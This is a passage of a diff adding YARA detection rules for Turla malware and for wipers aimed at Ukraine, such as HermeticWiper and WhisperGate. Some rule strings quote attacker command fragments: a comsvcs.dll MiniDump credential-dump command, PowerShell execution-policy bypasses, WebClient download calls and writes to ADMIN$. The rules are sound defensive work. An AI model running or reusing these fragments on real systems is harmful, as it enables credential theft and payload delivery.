+      id = "9f3a35c9-b0f0-5ca6-8b34-19e2d45305f2"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and pe.imphash() == "ac40cf7479f53a4754ac6481a4f24e57"
+}
+
+rule TurlaMosquito_Mal_6 {
+   meta:
+      description = "Detects malware sample from Turla Mosquito report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
+      date = "2018-02-22"
+      hash1 = "b79cdf929d4a340bdd5f29b3aeccd3c65e39540d4529b64e50ebeacd9cdee5e9"
+      id = "1c320b60-ec7a-5f87-b871-f55924351f8f"
+   strings:
+      $a1 = "/scripts/m/query.php?id=" fullword wide
+      $a2 = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" fullword wide
+      $a3 = "GetUserNameW fails" fullword wide
+
+      $s1 = "QVSWQQ" fullword ascii
+      $s2 = "SRRRQP" fullword ascii
+      $s3 = "QSVVQQ" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and (
+         2 of ($a*) or
+         4 of them
+      )
+}
+
+rule APT_TurlaMosquito_MAL_Oct22_1 {
+   meta:
+      description = "Detects Turla Mosquito malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
+      date = "2022-10-25"
+      score = 80
+      hash1 = "6b9e48e3f4873cfb95639d9944fe60e3b056daaa2ea914add14c982e3e11128b"
+      hash2 = "b868b674476418bbdffbe0f3d617d1cce4c2b9dae0eaf3414e538376523e8405"
+      hash3 = "e7fd14ca45818044690ca67f201cc8cfb916ccc941a105927fc4c932c72b425d"
+      id = "f5ad0c0f-81ca-5157-aefb-ead049ada30d"
+   strings:
+      $s1 = "Logger32.dll" ascii fullword
+      $s4 = " executing %u command on drive %martCommand : CWin32ApiErrorExce" wide
+      $s5 = "Unsupported drive!!!" ascii fullword
+      $s7 = "D:\\Build_SVN\\PC_MAGICIAN_4." ascii fullword
+
+      $op1 = { 40 cc 8b 8b 06 cc 55 00 70 8b 10 10 33 51 04 46 04 64 }
+      $op2 = { c3 10 e8 50 04 00 cc ff 8d 00 69 8d 75 ff 68 ec 6a 4d }
+      $op3 = { e8 64 a1 6e 00 64 a1 c2 04 08 75 40 73 1d 8b ff cc 10 89 cc 8b c3 cc af }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 2000KB and
+      (
+         pe.imphash() == "073235ae6dfbb1bf5db68a039a7b7726" or
+         all of them
+      )
+}
diff --git a/yara-Neo23x0/apt_turla_neuron.yar b/yara-Neo23x0/apt_turla_neuron.yar
new file mode 100644
index 0000000..b34f876
--- /dev/null
+++ b/yara-Neo23x0/apt_turla_neuron.yar
@@ -0,0 +1,143 @@
+/*
+   Yara Rule Set
+   Author: NCSC UK
+   Date: 2017-11-23
+   Identifier: Turla Neuron
+   Reference: https://www.ncsc.gov.uk/alerts/turla-group-malware
+*/
+
+rule Neuron_common_strings {
+    meta:
+        description = "Rule for detection of Neuron based on commonly used strings"
+        author = "NCSC UK"
+        hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+        date = "2017/11/23"
+        reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+        id = "168214d4-7436-531e-9c1f-48ca22215a1b"
+    strings:
+        $strServiceName = "MSExchangeService" ascii
+        $strReqParameter_1 = "cadataKey" wide
+        /* $strReqParameter_2 = "cid" wide */ /* disabled due to performance reasons */
+        $strReqParameter_3 = "cadata" wide
+        $strReqParameter_4 = "cadataSig" wide
+        $strEmbeddedKey = "PFJTQUtleVZhbHVlPjxNb2R1bHVzPnZ3WXRKcnNRZjVTcCtWVG9Rb2xuaEVkMHVwWDFrVElFTUNTNEFnRkRCclNm clpKS0owN3BYYjh2b2FxdUtseXF2RzBJcHV0YXhDMVRYazRoeFNrdEpzbHljU3RFaHBUc1l4OVBEcURabVVZVklVb HlwSFN1K3ljWUJWVFdubTZmN0JTNW1pYnM0UWhMZElRbnl1ajFMQyt6TUhwZ0xmdEc2b1d5b0hyd1ZNaz08L01vZH VsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+" wide
+        $strDefaultKey = "8d963325-01b8-4671-8e82-d0904275ab06" wide
+        $strIdentifier = "MSXEWS" wide
+        $strListenEndpoint = "443/ews/exchange/" wide
+        $strB64RegKeySubstring = "U09GVFdBUkVcTWljcm9zb2Z0XENyeXB0b2dyYXBo" wide
+        $strName = "neuron_service" ascii
+        $dotnetMagic = "BSJB" ascii
+    condition:
+        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $dotnetMagic and 6 of ($str*)
+}
+
+rule Neuron_standalone_signature {
+    meta:
+        description = "Rule for detection of Neuron based on a standalone signature from .NET metadata"
+        author = "NCSC UK"
+        hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+        date = "2017/11/23"
+        reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+        id = "e0be2fe2-32fd-5bdf-bfac-a596264be7ba"
+    strings:
+        $a = { eb073d151231011234080e12818d1d051281311d1281211d1281211d128121081d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281 }
+        $dotnetMagic = "BSJB" ascii
+    condition:
+        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+}
+
+rule Nautilus_modified_rc4_loop {
+    meta:
+        description = "Rule for detection of Nautilus based on assembly code for a modified RC4 loop"
+        author = "NCSC UK"
+        hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+        date = "2017/11/23"
+        reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+        id = "0c5da057-0f1d-5852-ad75-94bf40c133e4"
+    strings:
+        $a = {42 0F B6 14 04 41 FF C0 03 D7 0F B6 CA 8A 14 0C 43 32 14 13 41 88 12 49 FF C2 49 FF C9}
+    condition:
+        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $a
+}
+
+rule Nautilus_rc4_key {
+    meta:
+        description = "Rule for detection of Nautilus based on a hardcoded RC4 key"
+        author = "NCSC UK"
+        hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+        date = "2017/11/23"
+        reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+        id = "124c8b95-46fb-5cc1-9b10-b10536e1781d"
+    strings:
+        $key = {31 42 31 34 34 30 44 39 30 46 43 39 42 43 42 34 36 41 39 41 43 39 36 34 33 38 46 45 45 41 38 42}
+    condition:
+        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $key
+}
+
+rule Nautilus_common_strings {
+    meta:
+        description = "Rule for detection of Nautilus based on common plaintext strings"
+        author = "NCSC UK"
+        hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+        date = "2017/11/23"
+        reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+        id = "0e3af6ef-1a97-5324-a186-95e6f3d836f4"
+    strings:
+        $ = "nautilus-service.dll" ascii
+        $ = "oxygen.dll" ascii
+        $ = "config_listen.system" ascii
+        $ = "ctx.system" ascii
+        $ = "3FDA3998-BEF5-426D-82D8-1A71F29ADDC3" ascii
+        $ = "C:\\ProgramData\\Microsoft\\Windows\\Caches\\{%s}.2.ver0x0000000000000001.db" ascii
+    condition:
+        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and 3 of them
+}
+
+/* Forensic Artifacts */
+
+rule Nautilus_forensic_artificats {
+    meta:
+        description = "Rule for detection of Nautilus related strings"
+        author = "NCSC UK / Florian Roth"
+        date = "2017/11/23"
+        score = 60
+        reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+        id = "0c0a24da-4dbc-543a-9ec0-a5b1ec75c889"
+    strings:
+        $ = "App_Web_juvjerf3.dll" fullword ascii
+        $ = "App_Web_vcplrg8q.dll" fullword ascii
+        $ = "ar_all2.txt" fullword ascii
+        $ = "ar_sa.txt" fullword ascii
+        $ = "Convert.FromBase64String(temp[1])" fullword ascii
+        $ = "D68gq#5p0(3Ndsk!" fullword ascii
+        $ = "dcomnetsrv" fullword ascii
+        $ = "ERRORF~1.ASP" fullword ascii
+        $ = "intelliAdminRpc" fullword ascii
+        $ = "J8fs4F4rnP7nFl#f" fullword ascii
+        $ = "Msnb.exe" fullword ascii
+        $ = "nautilus-service.dll"
+        $ = "Neuron_service" fullword ascii
+        $ = "owa_ar2.bat" fullword ascii
+        $ = "payload.x64.dll.system" fullword ascii
+        $ = "service.x64.dll.system" fullword ascii
+    condition:
+        1 of them
+}
+
+rule APT_Neuron2_Loader_Strings {
+   meta:
+      description = "Rule for detection of Neuron2 based on strings within the loader"
+      author = "NCSC"
+      referer = "https://otx.alienvault.com/pulse/5dad718fa5ec6c21e85c1c66"
+      hash = "51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927"
+      id = "eaef4710-1971-55a2-9079-07a9b8bd86eb"
+   strings:
+      $ = "dcom_api" ascii
+      $ = "http://*:80/OWA/OAB/" ascii
+      $ = "https://*:443/OWA/OAB/" ascii
+      $ = "dcomnetsrv.cpp" wide
+      $ = "dcomnet.dll" ascii
+      $ = "D:\\Develop\\sps\\neuron2\\x64\\Release\\dcomnet.pdb" ascii
+   condition:
+      (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and 2 of them
+}
diff --git a/yara-Neo23x0/apt_turla_penquin.yar b/yara-Neo23x0/apt_turla_penquin.yar
new file mode 100644
index 0000000..fe2ff49
--- /dev/null
+++ b/yara-Neo23x0/apt_turla_penquin.yar
@@ -0,0 +1,66 @@
+
+rule APT_MAL_LNX_Turla_Apr202004_1 { 
+   meta:
+      description = "Detects Turla Linux malware x64 x32"
+      date = "2020-04-24"
+      author = "Leonardo S.p.A."
+      reference = "https://www.leonardocompany.com/en/news-and-stories-detail/-/detail/knowledge-the-basis-of-protection"
+      hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502" 
+      hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc" 
+      hash3 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667" 
+      hash4 = "1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905" 
+      hash5 = "2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08" 
+      hash6 = "3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4" 
+      hash7 = "5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8" 
+      hash8 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667" 
+      hash9 = "d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0"
+      id = "2da75433-b1c1-51b3-8f7a-a4442ca3de96"
+   strings: 
+      $ = "/root/.hsperfdata" ascii fullword
+      $ = "Desc| Filename | size |state|" ascii fullword
+      $ = "VS filesystem: %s" ascii fullword
+      $ = "File already exist on remote filesystem !" ascii fullword 
+      $ = "/tmp/.sync.pid" ascii fullword
+      $ = "rem_fd: ssl " ascii fullword
+      $ = "TREX_PID=%u" ascii fullword
+      $ = "/tmp/.xdfg" ascii fullword
+      $ = "__we_are_happy__" ascii
+      $ = "/root/.sess" ascii fullword
+      /* $ = "ZYSZLRTS^Z@@NM@@G_Y_FE" ascii fullword */
+   condition:
+      uint16(0) == 0x457f and filesize < 5000KB and
+      4 of them
+}
+
+rule APT_MAL_LNX_Turla_Apr202004_1_opcode { 
+   meta:
+      description = "Detects Turla Linux malware x64 x32"
+      date = "2020-04-24"
+      author = "Leonardo S.p.A."
+      reference = "https://www.leonardocompany.com/en/news-and-stories-detail/-/detail/knowledge-the-basis-of-protection"
+      hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502" 
+      hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc" 
+      hash3 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667" 
+      hash4 = "1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905" 
+      hash5 = "2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08" 
+      hash6 = "3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4" 
+      hash7 = "5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8" 
+      hash8 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667" 
+      hash9 = "d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0"
+      id = "03043f59-c81a-5423-bec1-6cd88f6e3c52"
+   strings:
+      $op0 = { 8D 41 05 32 06 48 FF C6 88 81 E0 80 69 00 } /* Xor string loop_p1 x32*/ 
+      $op1 = { 48FFC14883F94975E9 } /*Xorstringloop_p2x32*/
+      $op2 = { C7 05 9B 7D 29 00 1D 00 00 00 C7 05 2D 7B 29 00 65 74 68 30 C6 05 2A 7B 29 00 00 E8 }
+      /* Load eth0 interface*/
+      $op3 = { BF FF FF FF FF E8 96 9D 0A 00 90 90 90 90 90 90 90 90 90 90 89 F0}
+      /* Opcode exceptions*/ 
+      $op4 = { 88D380C305329AC1D60C08889A60A10F084283FA0876E9 }
+      /* Xor string loop x64*/
+      $op5 = { 8B 8D 50 DF FF FF B8 09 00 00 00 89 44 24 04 89 0C 24 E8 DD E5 02 00 } /* Kill call x32 */ 
+      $op6 = { 8D 5A 05 32 9A 60 26 0C 08 88 9A 20 F4 0E 08 42 83 FA 48 76 EB } /* Decrypt init str */ 
+      $op7 = { 8D 4A 05 32 8A 25 26 0C 08 88 8A 20 F4 0E 08 42 83 FA 08 76 EB} /* Decrypt init str */
+   condition:
+      uint16(0) == 0x457f and filesize < 5000KB and
+      2 of them
+}
diff --git a/yara-Neo23x0/apt_turla_png_dropper_nov18.yar b/yara-Neo23x0/apt_turla_png_dropper_nov18.yar
new file mode 100644
index 0000000..15d2d20
--- /dev/null
+++ b/yara-Neo23x0/apt_turla_png_dropper_nov18.yar
@@ -0,0 +1,77 @@
+import "pe"
+
+rule turla_png_dropper {
+    meta:
+        author = "Ben Humphrey"
+        description = "Detects the PNG Dropper used by the Turla group"
+        reference = "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/"
+        date = "2018/11/23"
+        hash1 = "6ed939f59476fd31dc4d99e96136e928fbd88aec0d9c59846092c0e93a3c0e27"
+        id = "459f17c8-0eae-5736-8c7c-286625dc158f"
+    strings:
+        $api0 = "GdiplusStartup"
+        $api1 = "GdipAlloc"
+        $api2 = "GdipCreateBitmapFromStreamICM"
+        $api3 = "GdipBitmapLockBits"
+        $api4 = "GdipGetImageWidth"
+        $api5 = "GdipGetImageHeight"
+        $api6 = "GdiplusShutdown"
+        $code32 = {
+            8B 46 3C               // mov     eax, [esi+3Ch]
+            B9 0B 01 00 00         // mov     ecx, 10Bh
+            66 39 4C 30 18         // cmp     [eax+esi+18h], cx
+            8B 44 30 28            // mov     eax, [eax+esi+28h]
+            6A 00                  // push    0
+            B9 AF BE AD DE         // mov     ecx, 0DEADBEAFh
+            51                     // push    ecx
+            51                     // push    ecx
+            03 C6                  // add     eax, esi
+            56                     // push    esi
+            FF D0                  // call eax
+        }
+
+        $code64 = {
+            48 63 43 3C            // movsxd rax, dword ptr [rbx+3Ch]
+            B9 0B 01 00 00         // mov ecx, 10Bh
+            BA AF BE AD DE         // mov edx, 0DEADBEAFh
+            66 39 4C 18 18         // cmp [rax+rbx+18h], cx
+            8B 44 18 28            // mov eax, [rax+rbx+28h]
+            45 33 C9               // xor r9d, r9d
+            44 8B C2               // mov r8d, edx
+            48 8B CB               // mov rcx, rbx
+            48 03 C3               // add rax, rbx
+            FF D0                  // call rax
+        }
+        condition:
+        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and
+        all of ($api*) and
+        1 of ($code*)
+}
+
+rule turla_png_reg_enum_payload {
+    meta:
+        author = "Ben Humphrey"
+        description = "Payload that has most recently been dropped by the Turla PNG Dropper"
+        reference = "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/"
+        date = "2018/11/23"
+        hash1 = "fea27eb2e939e930c8617dcf64366d1649988f30555f6ee9cd09fe54e4bc22b3"
+        id = "413bb315-3c01-56ab-92db-00342a11438a"
+    strings:
+        $crypt00 = "Microsoft Software Key Storage Provider" wide
+        $crypt01 = "ChainingModeCBC" wide
+        /* $crypt02 = "AES" wide */ /* disabled due to performance reasons */
+    condition:
+        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and
+        pe.imports("advapi32.dll", "StartServiceCtrlDispatcherA") and
+        pe.imports("advapi32.dll", "RegEnumValueA") and
+        pe.imports("advapi32.dll", "RegEnumKeyExA") and
+        pe.imports("ncrypt.dll", "NCryptOpenStorageProvider") and
+        pe.imports("ncrypt.dll", "NCryptEnumKeys") and
+        pe.imports("ncrypt.dll", "NCryptOpenKey") and
+        pe.imports("ncrypt.dll", "NCryptDecrypt") and
+        pe.imports("ncrypt.dll", "BCryptGenerateSymmetricKey") and
+        pe.imports("ncrypt.dll", "BCryptGetProperty") and
+        pe.imports("ncrypt.dll", "BCryptDecrypt") and
+        pe.imports("ncrypt.dll", "BCryptEncrypt") and
+        all of them
+}
diff --git a/yara-Neo23x0/apt_ua_caddywiper.yar b/yara-Neo23x0/apt_ua_caddywiper.yar
new file mode 100644
index 0000000..2cc6976
--- /dev/null
+++ b/yara-Neo23x0/apt_ua_caddywiper.yar
@@ -0,0 +1,22 @@
+
+rule MAL_WIPER_CaddyWiper_Mar22_1 {
+   meta:
+      description = "Detects CaddyWiper malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/ESETresearch/status/1503436420886712321?s=20&t=xh8JK6fEmRIrnqO7Ih_PNg"
+      date = "2022-03-15"
+      score = 85
+      hash1 = "1e87e9b5ee7597bdce796490f3ee09211df48ba1d11f6e2f5b255f05cc0ba176"
+      hash2 = "a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea"
+      hash3 = "ea6a416b320f32261da8dafcf2faf088924f99a3a84f7b43b964637ea87aef72"
+      hash4 = "f1e8844dbfc812d39f369e7670545a29efef6764d673038b1c3edd11561d6902"
+      id = "83495a0d-a295-5ec7-9761-ce79918e1034"
+   strings:
+      $op1 = { ff 55 94 8b 45 fc 50 ff 55 f8 8a 4d ba 88 4d ba 8a 55 ba 80 ea 01 }
+      $op2 = { 89 45 f4 83 7d f4 00 74 04 eb 47 eb 45 6a 00 8d 95 1c ff ff ff 52 }
+      $op3 = { 6a 20 6a 02 8d 4d b0 51 ff 95 68 ff ff ff 85 c0 75 0a e9 4e 02 00 00 }
+      $op4 = { e9 67 01 00 00 83 7d f4 05 74 0a e9 5c 01 00 00 e9 57 01 00 00 8d 45 98 50 6a 20 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 50KB and 3 of them or all of them
+}
diff --git a/yara-Neo23x0/apt_ua_hermetic_wiper.yar b/yara-Neo23x0/apt_ua_hermetic_wiper.yar
new file mode 100644
index 0000000..86ec920
--- /dev/null
+++ b/yara-Neo23x0/apt_ua_hermetic_wiper.yar
@@ -0,0 +1,88 @@
+
+rule APT_UA_Hermetic_Wiper_Feb22_1 {
+   meta:
+      description = "Detects Hermetic Wiper malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/"
+      date = "2022-02-24"
+      score = 75
+      hash1 = "0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da"
+      hash2 = "3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767"
+      hash3 = "2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf"
+      hash4 = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
+      id = "2cbe4a69-e31a-5f5f-ab1a-9d71d16fb30f"
+   strings:
+      $xc1 = { 00 5C 00 5C 00 2E 00 5C 00 50 00 68 00 79 00 73
+               00 69 00 63 00 61 00 6C 00 44 00 72 00 69 00 76
+               00 65 00 25 00 75 00 00 00 5C 00 5C 00 2E 00 5C
+               00 45 00 50 00 4D 00 4E 00 54 00 44 00 52 00 56
+               00 5C 00 25 00 75 00 00 00 5C 00 5C 00 2E 00 5C
+               00 00 00 00 00 25 00 73 00 25 00 2E 00 32 00 73
+               00 00 00 00 00 24 00 42 00 69 00 74 00 6D 00 61
+               00 70 00 00 00 24 00 4C 00 6F 00 67 00 46 00 69
+               00 6C 00 65 }
+      $sc1 = { 00 44 00 72 00 69 00 76 00 65 00 72 00 73 00 00
+               00 64 00 72 00 76 00 00 00 53 00 79 00 73 00 74
+               00 65 00 6D 00 33 00 32 }
+
+      $s1 = "\\\\?\\C:\\Windows\\System32\\winevt\\Logs" wide fullword
+      $s2 = "\\\\.\\EPMNTDRV\\%u" wide fullword
+      $s3 = "DRV_XP_X64" wide fullword
+      $s4 = "%ws%.2ws" wide fullword
+
+      $op1 = { 8b 7e 08 0f 57 c0 8b 46 0c 83 ef 01 66 0f 13 44 24 20 83 d8 00 89 44 24 18 0f 88 3b 01 00 00 }
+      $op2 = { 13 fa 8b 55 f4 4e 3b f3 7f e6 8a 45 0f 01 4d f0 0f 57 c0 }
+   condition:
+      ( uint16(0) == 0x5a53 or uint16(0) == 0x5a4d ) and
+      filesize < 400KB and ( 1 of ($x*) or 3 of them )
+}
+
+rule APT_UA_Hermetic_Wiper_Artefacts_Feb22_1 {
+   meta:
+      description = "Detects artefacts found in Hermetic Wiper malware related intrusions"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia"
+      date = "2022-02-25"
+      score = 75
+      id = "77f793c1-b02c-59c3-b3e4-75758f5b3b8d"
+   strings:
+      $sx1 = "/c powershell -c \"rundll32 C:\\windows\\system32\\comsvcs.dll MiniDump" ascii wide
+      $sx2 = "appdata\\local\\microsoft\\windows\\winupd.log" ascii wide
+      $sx3 = "AppData\\Local\\Microsoft\\Windows\\Winupd.log" ascii wide
+      $sx4 = "CSIDL_SYSTEM_DRIVE\\temp\\sys.tmp1" ascii wide
+      $sx5 = "\\policydefinitions\\postgresql.exe" ascii wide
+
+      $sx6 = "powershell -v 2 -exec bypass -File text.ps1" ascii wide
+      $sx7 = "powershell -exec bypass gp.ps1" ascii wide
+      $sx8 = "powershell -exec bypass -File link.ps1" ascii wide
+
+      /* 16 is the prefix of an epoch timestamp that shouldn't change until the 14th of November 2023 */
+      $sx9 = " 1> \\\\127.0.0.1\\ADMIN$\\__16" ascii wide
+      
+      $sa1 = "(New-Object System.Net.WebClient).DownloadFile(" ascii wide
+      $sa2 = "CSIDL_SYSTEM_DRIVE\\temp\\" ascii wide
+      $sa3 = "1> \\\\127.0.0.1\\ADMIN$" ascii wide
+
+      $fp1 = "<html" ascii
+   condition:
+      1 of ($sx*) or all of ($sa*)
+      and not 1 of ($fp*)
+}
+
+rule APT_UA_Hermetic_Wiper_Scheduled_Task_Feb22_1 {
+   meta:
+      description = "Detects scheduled task pattern found in Hermetic Wiper malware related intrusions"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia"
+      date = "2022-02-25"
+      score = 85
+      id = "a628f773-9c71-5979-a4db-37b6b6bd6a56"
+   strings:
+      $a0 = "<Task version=" ascii wide
+
+      $sa1 = "CSIDL_SYSTEM_DRIVE\\temp" ascii wide
+      $sa2 = "postgresql.exe 1> \\\\127.0.0.1\\ADMIN$" ascii wide
+      $sa3 = "cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE" ascii wide
+   condition:
+      $a0 and 1 of ($s*)
+}
diff --git a/yara-Neo23x0/apt_ua_isaacwiper.yar b/yara-Neo23x0/apt_ua_isaacwiper.yar
new file mode 100644
index 0000000..c11ea95
--- /dev/null
+++ b/yara-Neo23x0/apt_ua_isaacwiper.yar
@@ -0,0 +1,29 @@
+import "pe"
+
+rule MAL_WIPER_IsaacWiper_Mar22_1 {
+   meta:
+      description = "Detects IsaacWiper malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/"
+      date = "2022-03-03"
+      score = 85
+      hash1 = "13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033"
+      hash2 = "7bcd4ec18fc4a56db30e0aaebd44e2988f98f7b5d8c14f6689f650b4f11e16c0"
+      id = "97d8d8dd-db65-5156-8f97-56c620cf2d56"
+   strings:
+      $s1 = "C:\\ProgramData\\log.txt" wide fullword
+      $s2 = "Cleaner.dll" ascii fullword
+      $s3 = "-- system logical drive: " wide fullword
+      $s4 = "-- FAILED" wide fullword
+
+      $op1 = { 8b f1 80 3d b0 66 03 10 00 0f 85 96 00 00 00 33 c0 40 b9 a8 66 03 10 87 01 33 db }
+      $op2 = { 8b 40 04 2b c2 c1 f8 02 3b c8 74 34 68 a2 c8 01 10 2b c1 6a 04 }
+      $op3 = { 8d 4d f4 ff 75 08 e8 12 ff ff ff 68 88 39 03 10 8d 45 f4 50 e8 2d 1d 00 00 cc }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 700KB and
+      (
+         pe.imphash() == "a4b162717c197e11b76a4d9bc58ea25d" or
+         3 of them
+      )
+}
diff --git a/yara-Neo23x0/apt_ua_wiper_whispergate.yar b/yara-Neo23x0/apt_ua_wiper_whispergate.yar
new file mode 100644
index 0000000..48667b8
--- /dev/null
+++ b/yara-Neo23x0/apt_ua_wiper_whispergate.yar
@@ -0,0 +1,119 @@
+
+rule APT_HKTL_Wiper_WhisperGate_Jan22_1 {
+   meta:
+      description = "Detects unknown wiper malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
+      date = "2022-01-16"
+      score = 85
+      hash1 = "a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92"
+      id = "f04b619e-1df2-5c51-9cab-4a0fffd1c042"
+   strings:
+      /* AAAAA\x00Your hard drive has been corrupted. */
+      $xc1 = { 41 41 41 41 41 00 59 6F 75 72 20 68 61 72 64 20
+               64 72 69 76 65 20 68 61 73 20 62 65 65 6E 20 63
+               6F 72 72 75 70 74 65 64 }
+      
+      $op1 = { 89 34 24 e8 3f ff ff ff 50 8d 65 f4 31 c0 59 5e 5f }
+      $op2 = { 8d bd e8 df ff ff e8 04 de ff ff b9 00 08 00 00 f3 a5 c7 44 24 18 00 00 00 00 c7 44 24 14 00 00 00 00 c7 44 24 10 03 00 00 00 c7 44 24 0c 00 00 00 00 }
+      $op3 = { c7 44 24 0c 00 00 00 00 c7 44 24 08 00 02 00 00 89 44 24 04 e8 aa fe ff ff 83 ec 14 89 34 24 e8 3f ff ff ff 50 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 100KB and ( 1 of ($x*) or 2 of them ) or all of them
+}
+
+rule APT_HKTL_Wiper_WhisperGate_Jan22_2 {
+   meta:
+      description = "Detects unknown wiper malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
+      date = "2022-01-16"
+      score = 90
+      hash1 = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78"
+      id = "822e5af5-9c51-5be3-94f1-7e0a714743e6"
+   strings:
+      /* powershell  -enc UwB0AGEAcgB0AC */
+      $sc1 = { 70 00 6F 00 77 00 65 00 72 00 73 00 68 00 65 00
+               6C 00 6C 00 00 27 2D 00 65 00 6E 00 63 00 20 00
+               55 00 77 00 42 00 30 00 41 00 47 00 45 00 41 00
+               63 00 67 00 42 00 30 00 41 00 43 }
+      /* Ylfwdwgmpilzyaph */
+      $sc2 = { 59 00 6C 00 66 00 77 00 64 00 77 00 67 00 6D 00
+               70 00 69 00 6C 00 7A 00 79 00 61 00 70 00 68 }
+
+      $s1 = "xownxloxadDxatxxax" wide
+      $s2 = "0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==" wide /* Decoded with base64, UTF-16-LE: Sleep -s 10 */
+      $s3 = "https://cdn.discordapp.com/attachments/" wide
+      $s4 = "fffxfff.fff" ascii fullword
+
+      $op1 = { 20 6b 85 b9 03 20 14 19 91 52 61 65 20 e1 ae f1 }
+      $op2 = { aa ae 74 20 d9 7c 71 04 59 20 71 cc 13 91 61 20 97 3c 2a c0 }
+      $op3 = { 38 9c f3 ff ff 20 f2 96 4d e9 20 5d ae d9 ce 58 20 4f 45 27 }
